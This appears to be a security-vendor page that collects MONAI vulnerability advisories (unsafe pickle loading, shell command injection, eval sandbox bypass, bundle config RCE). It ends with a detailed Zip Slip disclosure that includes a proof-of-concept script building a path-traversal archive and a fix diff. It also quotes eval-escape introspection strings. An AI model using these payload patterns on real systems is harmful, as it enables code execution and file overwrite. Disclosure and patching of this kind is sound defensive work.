See how project-monai compares to other vendors in security performance
MONAI before 1.5.2 contains a deserialization of untrusted data vulnerability in the algofrompickle function in monai/auto3dseg/utils.py. The function reads a .pkl file and passes its contents to pickle.loads without validating the data source or content. If an application invokes algofrompickle on an attacker-supplied pickle file, an object defining reduce is executed during deserialization, resulting in arbitrary code execution in the context of the application.
MONAI before 1.6.0 contains an unsafe deserialization vulnerability in the NumpyReader class that unconditionally uses numpy.load with allowpickle=True when loading .npy and .npz files. Attackers can craft malicious .npy files with pickle payloads that execute arbitrary code when loaded through MONAI's standard data pipeline.
MONAI before 1.6.0 is vulnerable to OS command injection in the nnUNetV2Runner component (monai.apps.nnunet.nnunetv2runner). User-controlled values taken from the YAML configuration file (notably datasetnameorid) and from CLI/kwargs arguments are concatenated into a command string without quoting or validation and then passed to subprocess with shell=True, so shell metacharacters (e.g., ';' on Linux, '&' on Windows) are interpreted. If a victim loads and processes a crafted configuration file — for example by instantiating nnUNetV2Runner with the malicious YAML and invoking a training/validation job such as trainsinglemodel() — arbitrary commands are executed with the privileges of the user running the job.
MONAI through 1.6.0 contains an eval injection vulnerability in getfakespatialshape() in monai/bundle/scripts.py. The function validates shape expressions with a helper that walks the AST and only collects ast.Name nodes, rejecting any name other than 'p' or 'n', before passing the string to eval(). Expressions built solely from constants and attribute, subscript, or call nodes (for example "(1).class.bases[0].subclasses()" or "int.class.init.globals") contain no ast.Name nodes and therefore bypass the allowlist. Because the shape value originates from bundle metadata consumed by getrealinputdata and verifynetinout (reachable through the bundle 'verifynetinout' CLI flow), an attacker who can influence a bundle's metadata can escape the eval sandbox via object introspection chains and achieve code execution in this non-default flow.
MONAI versions before 1.6.0 contain a remote code execution vulnerability in the algofrompickle() function due to unsafe pickle.loads() deserialization in monai/auto3dseg/utils.py. Attackers can craft malicious pickle files that execute arbitrary system commands when deserialized by the vulnerable function.
In MONAI 1.6.0, PersistentDataset (monai/data/dataset.py) explicitly rejects the combination trackmeta=True with weightsonly=True, forcing users who cache MetaTensors (the default tensor type in MONAI >= 1.0) to run torch.load(hashfile, weightsonly=False). Related cache helpers in monai/data/utils.py also call pickle.loads on cached content and derive cache keys with hashlib.md5. As a result, a local user with write access to a shared or world-writable cachedir (e.g. /tmp/monaicache, HPC scratch, ~/.cache/monai) can place a malicious pickle file that is deserialized the next time another user's MONAI pipeline reads the cache, resulting in arbitrary code execution in that user's context. All released versions of the monai pip package are affected; no patched version is available as of the advisory.
MONAI through 1.6.0 contains a remote code execution vulnerability in the bundle configuration engine that resolves target values to arbitrary importable callables without an allow list and passes $ expressions to Python eval(). Attackers can publish a malicious bundle with crafted configuration containing arbitrary code that executes when a victim loads the bundle using monai.bundle.load() or monai.bundle.run().
Summary
A Path Traversal (Zip Slip) vulnerability exists in MONAI's downloadfromngcprivate() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safeextractmember() function.
This appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.
CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
---
Details
Vulnerable Code Location
File: monai/bundle/scripts.py Lines: 291-292 Function: downloadfromngcprivate()
python monai/bundle/scripts.py - Lines 284-293 zippath = downloadpath / f"{filename}v{version}.zip" with open(zippath, "wb") as f: f.write(response.content) logger.info(f"Downloading: {zippath}.") if removeprefix: filename = removengcprefix(filename, prefix=removeprefix) extractpath = downloadpath / f"{filename}" with zipfile.ZipFile(zippath, "r") as z: z.extractall(extractpath) # <-- No path validation logger.info(f"Writing into directory: {extractpath}.")
Root Cause
The code calls z.extractall(extractpath) directly without validating that archive member paths stay within the extraction directory.
Safe Code Already Exists
MONAI already has a safe extraction function in monai/apps/utils.py (lines 125-154) that properly validates paths:
python def safeextractmember(member, extractto): """Securely verify compressed package member paths to prevent path traversal attacks""" # ... path validation logic ... if os.path.isabs(memberpath) or ".." in memberpath.split(os.sep): raise ValueError(f"Unsafe path detected in archive: {memberpath}") # Ensure path stays within extraction root if os.path.commonpath([extractroot, targetreal]) != extractroot: raise ValueError(f"Unsafe path: path traversal {memberpath}")
Comparison with Other Download Functions
| Function | File | Uses Safe Extraction? | |----------|------|----------------------| | downloadfromgithub() | scripts.py:198 | ✅ Yes (via extractall() wrapper) | | downloadfrommonaihosting() | scripts.py:205 | ✅ Yes (via extractall() wrapper) | | downloadfrombundleinfo() | scripts.py:215 | ✅ Yes (via extractall() wrapper) | | downloadfromngcprivate() | scripts.py:292 | ❌ No (direct z.extractall()) |
---
PoC
Step 1: Create a Malicious Zip File
python #!/usr/bin/env python3 """Create malicious zip with path traversal entries""" import zipfile import io
def createmaliciouszip(outputpath="maliciousbundle.zip"): zipbuffer = io.BytesIO() with zipfile.ZipFile(zipbuffer, 'w', zipfile.ZIPDEFLATED) as zf: # Normal bundle file zf.writestr( "monaitestbundle/configs/metadata.json", '{"name": "testbundle", "version": "1.0.0"}' ) # Path traversal entry zf.writestr( "../../../tmp/escapedfile.txt", "This file was written outside the extraction directory.\n" ) with open(outputpath, 'wb') as f: f.write(zipbuffer.getvalue()) print(f"Created: {outputpath}") with zipfile.ZipFile(outputpath, 'r') as zf: print("Contents:") for name in zf.namelist(): print(f" - {name}")
if name == "main": createmaliciouszip()
Output: Created: maliciousbundle.zip Contents: - monaitestbundle/configs/metadata.json - ../../../tmp/escapedfile.txt
Step 2: Demonstrate the Difference
This script shows the difference between the vulnerable pattern (used in downloadfromngcprivate) and the safe pattern (used elsewhere in MONAI):
python #!/usr/bin/env python3 """Compare vulnerable vs safe extraction""" import zipfile import tempfile import os
def vulnerableextraction(zippath, extractpath): """Pattern used in monai/bundle/scripts.py:291-292""" os.makedirs(extractpath, existok=True) with zipfile.ZipFile(zippath, "r") as z: z.extractall(extractpath) print("[VULNERABLE] Extraction completed without validation")
def safeextraction(zippath, extractpath): """Pattern used in monai/apps/utils.py""" os.makedirs(extractpath, existok=True) with zipfile.ZipFile(zippath, "r") as zf: for member in zf.infolist(): memberpath = os.path.normpath(member.filename) # Check for path traversal if os.path.isabs(memberpath) or ".." in memberpath.split(os.sep): print(f"[SAFE] BLOCKED: {member.filename}") continue print(f"[SAFE] Allowed: {member.filename}")
Run demo print("=" 50) print("VULNERABLE PATTERN (scripts.py:291-292)") print("=" 50) with tempfile.TemporaryDirectory() as tmpdir: vulnerableextraction("maliciousbundle.zip", tmpdir) for root, dirs, files in os.walk(tmpdir): for f in files: relpath = os.path.relpath(os.path.join(root, f), tmpdir) print(f" Extracted: {relpath}")
print() print("=" 50) print("SAFE PATTERN (apps/utils.py)") print("=" 50) with tempfile.TemporaryDirectory() as tmpdir: safeextraction("maliciousbundle.zip", tmpdir)
Output: ================================================== VULNERABLE PATTERN (scripts.py:291-292) ================================================== [VULNERABLE] Extraction completed without validation Extracted: monaitestbundle/configs/metadata.json Extracted: tmp/escapedfile.txt
================================================== SAFE PATTERN (apps/utils.py) ================================================== [SAFE] Allowed: monaitestbundle/configs/metadata.json [SAFE] BLOCKED: ../../../tmp/escapedfile.txt
---
Impact
Conditions Required for Exploitation
1. Attacker must control or compromise an NGC private repository 2. Victim must configure MONAI to download from that repository 3. Victim must use source="ngcprivate" parameter
Potential Impact
If exploited, an attacker could write files outside the intended extraction directory. The actual impact depends on: - The permissions of the user running MONAI - The target location of the escaped files - Python version (newer versions have some built-in path normalization)
Mitigating Factors
- Requires attacker to control an NGC private repository - Modern Python versions (3.12+) have some built-in path normalization - The ngcprivate source is less commonly used than other sources
---
Recommended Fix
Replace the direct extractall() call with MONAI's existing safe extraction:
diff monai/bundle/scripts.py
+ from monai.apps.utils import extractzip
def downloadfromngcprivate(...): # ... existing code ... extractpath = downloadpath / f"{filename}" - with zipfile.ZipFile(zippath, "r") as z: - z.extractall(extractpath) - logger.info(f"Writing into directory: {extractpath}.") + extractzip(zippath, extractpath) + logger.info(f"Writing into directory: {extractpath}.")
This aligns downloadfromngcprivate() with the other download functions and ensures consistent security across all download sources.
---
Resources
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory - Snyk: Zip Slip Vulnerability - Python zipfile.extractall() Warning